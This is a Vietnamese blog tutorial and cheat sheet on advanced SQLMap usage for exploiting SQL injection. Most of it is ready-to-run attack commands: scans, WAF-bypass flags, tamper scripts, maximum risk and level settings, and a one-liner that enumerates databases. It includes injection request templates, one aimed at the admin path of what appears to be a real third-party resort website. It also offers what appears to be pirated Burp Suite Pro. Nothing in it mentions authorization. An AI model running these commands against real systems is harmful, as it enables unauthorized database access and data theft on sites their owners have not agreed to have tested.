SQLMap là phần mềm giúp khai thác SQL Injection tự động giúp bạn tiết kiệm thời gian hơn so với khai thác thủ công. Mình đã có hướng dẫn cách sử dụng SQLMap cơ bản, tuy nhiên SQLMap vẫn còn các thông số nâng cao giúp bạn tiết kiệm thời gian khai thác và tăng hiệu quả khai thác hơn. Dưới đây là một số kỹ thuật sử dụng SQLMap nâng cao để bạn khai thác lỗi SQL Injection.
Cách sử dụng SQLMap nâng cao
Mình sẽ nói sơ qua về cách cài đặt và sử dụng SQLMap trước:
Sử dụng --batch
để SQLMap chạy tự động và bỏ qua câu hỏi yes/no
Sử dụng *
xác định vị trí cần Injection
Sử dụng --string="String_in_the_response"
để biết chuỗi nào đã được Injection thành công (True)
# SCAN SQL BẰNG ĐƯỜNG DẪN CỤ THỂ VÀ INJECT VÀ THAM SỐ q
sqlmap -u "https://anonyviet.com/s.php?q=test" -p "q"
# SCAN BẰNG REQUEST (CÓ THỂ BẮT REQUEST BẰNG BURPSUITE CHO TIỆN)
sqlmap -r request.txt
# SCAN NHIỀU URL CÙNG LÚC
sqlmap -m urls.txt
# SCAN HEADER VÀ ĐƯỜNG DẪN (*)
sqlmap -u "http://afine.com/user/*" -H "User-agent: *"
# SECOND ORDER
sqlmap -r request.txt --second-order "http://afine.com/avatar"
# ALL-AROUND OPTIONS
## RANDOM USER AGENT ĐỂ BYPASS WAF
--random-agent
## TỰ ĐỘNG TRẢ LỜI CÁC CÂU HỎI YES/NO
--batch
## KIỂM TRA SÂU
--risk=3 --level=5
# CUSTOMIZATION & DEBUGGING
## PROXY TO BURP
--proxy=http://127.0.0.1:8080
## SILENCE | VERBOSE MODE
-v 0
-v 4
## XUẤT KẾT QUẢ RA THƯ MỤC CHỈ ĐỊNH
--output-dir=sqlmap
## ADD PREFIX
--prefix "this_string_must_be_before_injection"
## ADD SUFFIX
--suffix "--this_string_must_be_at_the_end_of_injection"
## MODIFY PAYLOAD DÙNG EVAL (example swap " " with "%20" for q parameter)
sqlmap -u "https://afine.com/s.php?q=1" -p 'q' --eval='q=q.replace(" ","%20")'
## MODIFY PAYLOAD BẰNG SCRIPTS => https://github.com/sqlmapproject/sqlmap/tree/master/tamper
--tamper="PATH_OR_NAME_OF_TAMPER_SCRIPT"
## THAY ĐỔI HEADERS TÙY CHỈNH (Authorization)
-H "Auth_header: secret1" -H "Cookie: auth2=secret2"
# LỆNH SQLMAP THƯỜNG ĐƯỢC SỬ DỤNG VÀ HIỆU QUẢ NHẤT
python sqlmap.py -r request.txt --random-agent --tamper=space2comment --time-sec=20 --level=5 --risk=3 --dbs --batch
Request dạng POST: Inject vào Username, thì điền dấu * vào username=
POST //index.php?module=user&function=login HTTP/1.1 Host: anonyviet.com username=*&password=1
Lưu file thành request.txt và đặt chung thư mục sqlmap
Request dạng GET:
GET /admin/index.php?option=tin-sua&tin_id=1 Host: phanthiet.terracottaresort.com
Lưu file thành request.txt và đặt chung thư mục sqlmap
Dùng Burp Suite Pro Extension
Tải Burp Suite Pro ở đây
- Request Timer – Bắt các gói tin phản hồi theo thời gian (thích hợp với blind sql injection).
- Burp Bounty Pro: tự động tìm kiếm lỗ hổng bảo mật bằng Burp Suite Pro (bạn nào cần Extension này thì comment bên dưới mình sẽ gửi riêng)
- SQLiPy Sqlmap Integration – Giao diện SQLMap trên Burp Suite
Bất kỳ SQLI nào được tìm thấy bởi SQLiPy sẽ được thêm vào tab Results của Burp Suite.
Payload SQL Injection
Tổng hợp các Payload để test SQL Injection có tại đây: PayloadsAllTheThings.
- SQLI_output – Error|UNION|Bolean based detection.
- SQLI_sleep – Time-based detection.
- SQLI_oob – Out-of-bound detection.
SQLMap CheatSheel tải ở đây: https://github.com/anonyvietofficial/sqlmap-cheatsheet